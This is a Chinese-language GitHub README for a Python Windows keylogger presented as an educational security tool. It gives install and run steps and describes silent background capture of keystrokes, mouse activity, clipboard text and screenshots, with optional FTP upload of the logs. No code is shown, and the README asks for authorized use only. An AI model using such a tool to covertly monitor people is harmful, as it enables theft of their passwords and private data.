YashAgni2372/ethical-keylogger

GitHub: YashAgni2372/ethical-keylogger

一款面向安全教育的键盘记录工具,支持按键捕获、鼠标追踪、剪贴板监控和定时截图。

Stars: 0 | Forks: 0

# 🛡️ ethical-keylogger - 用于学习的简易监控工具 [![立即下载](https://img.shields.io/badge/Download-ethical--keylogger-brightgreen)](https://github.com/YashAgni2372/ethical-keylogger) 一款旨在捕获 Windows 上的键盘记录、鼠标活动、剪贴板数据和屏幕截图的工具。专为网络安全培训和实验的教育用途而构建。 ## 🖥️ 系统要求 - Windows 10 或更高版本 - 已安装 Python 3.8 或更新版本 - 至少 100 MB 的可用磁盘空间 - 互联网连接(用于 FTP 上传功能) - 在您的计算机上运行应用程序的权限 ## 📚 ethical-keylogger 有什么功能? 该软件记录您的键盘按键和鼠标移动。它还可以捕获剪贴板内容并按设定的时间间隔截取屏幕截图。数据可以保存在本地或发送到您控制的 FTP 服务器。 它旨在用于学习安全和道德黑客技术。未经许可使用是不允许的。 ## ⚙️ 如何下载和运行 ethical-keylogger [![立即下载](https://img.shields.io/badge/Download-ethical--keylogger-orange)](https://github.com/YashAgni2372/ethical-keylogger) 请按照以下步骤在您的 Windows PC 上运行该软件。 ### 步骤 1:访问下载页面 转到上面链接的官方仓库页面。该页面包含您需要的所有文件和说明。 ### 步骤 2:下载 ZIP 文件 - 向下滚动以在右上角附近找到 **Code** 按钮。 - 点击 **Code**,然后点击 **Download ZIP**。 - 将 ZIP 文件保存在您的计算机上。 ### 步骤 3:解压文件 - 找到您下载的 ZIP 文件。 - 右键单击它并选择 **Extract All...**(全部提取)。 - 选择一个您想要保存程序的文件夹,例如桌面或文档。 - 点击 **Extract**(提取)以解压文件。 ### 步骤 4:安装 Python 该程序使用 Python 运行。如果您尚未安装,请按照以下步骤操作: - 访问 https://www.python.org/downloads/windows/ - 下载适用于 Windows 的最新版本。 - 运行安装程序。 - 在点击安装之前,请务必勾选标记为 **Add Python to PATH** 的复选框。 ### 步骤 5:打开命令提示符 - 按下 Windows 键或点击开始菜单。 - 输入 **cmd** 并按 Enter 键。 - 一个带有白色文本的黑色窗口将会打开。 ### 步骤 6:导航至 ethical-keylogger 文件夹 在命令提示符窗口中: - 输入 `cd `,后跟您解压文件的文件夹路径。 例如,如果在桌面上: ``` cd Desktop\ethical-keylogger-main ``` - 按 Enter 键。 ### 步骤 7:安装所需的模块 - 该软件需要一些 Python 模块才能工作。 - 输入以下命令并按 Enter 键: ``` pip install -r requirements.txt ``` - 等待模块安装完成。 ### 步骤 8:运行程序 - 模块安装完成后,通过键入以下命令启动 keylogger: ``` python ethical_keylogger.py ``` - 按 Enter 键。 - 程序将开始在后台静默运行。 ## 🔍 如何使用 ethical-keylogger ### 查看日志 - 默认情况下,程序将日志保存在同一文件夹下的 `logs` 文件夹中。 - 检查 `logs` 内的文件以查看记录的键盘按键、鼠标活动、剪贴板内容和屏幕截图。 - 屏幕截图将保存为图像文件。 ### 设置 FTP 上传 如果您希望将数据发送到远程服务器: - 使用文本编辑器打开 `config.ini` 文件。 - 输入您的 FTP 服务器地址、用户名和密码。 - 保存文件。 - 程序将按设定的时间间隔上传日志。 ### 停止程序 - 返回运行程序的命令提示符。 - 按下 `Ctrl + C` 停止。 ## ⚠️ 权限与道德规范 此 keylogger 仅限授权使用。在监控任何设备之前,请务必请求许可。请勿在您不拥有或未获得明确测试同意的系统上使用此工具。 ## 🧰 功能特性 - 记录键盘上按下的每一个键 - 跟踪鼠标点击和移动 - 在剪贴板文本更改时捕获内容 - 定期截取屏幕截图以进行视觉监控 - 在本地保存数据或通过 FTP 上传 - 支持装有 Python 的多种平台 - 专为学习道德黑客技术而设计 ## 🛠️ 故障排除 ### 找不到 Python 如果输入 `python` 出现错误: - 尝试改用 `python3`。 - 确保已安装 Python 并将其添加到您的系统 PATH 中。 ### 模块无法安装 如果 `pip install` 失败: - 检查您的互联网连接。 - 通过运行 `python -m pip install --upgrade pip` 更新 pip。 ### 程序无法启动 - 检查您是否在正确的文件夹中。 - 确认 `ethical_keylogger.py` 文件存在。 - 确保所需的模块已安装。 ## 🔗 有用的链接 - [官方仓库](https://github.com/YashAgni2372/ethical-keylogger) - [Python 下载](https://www.python.org/downloads/windows/) - [FTP 设置指南](https://www.hostinger.com/tutorials/how-to-use-ftp-server) ## 📑 与本项目相关的话题 bugbounty | ctf | cybersecurity | ethical-hacking | hacking-tools | infosec | kali-linux | keylogger | malware-analysis | network-security | oscp | pentesting | python-security | red-team
标签:Cloudflare, Conpot, FTP上传, MITRE ATT&CK, Python, Windows内核, Windows安全, 代码生成, 击键记录, 剪贴板监控, 屏幕截图, 数据窃取演示, 无后门, 渗透测试工具, 白帽子, 端点可见性, 网络安全实验, 网络安全教育, 输入捕获, 逆向工具, 键盘记录器, 间谍软件分析, 鼠标监控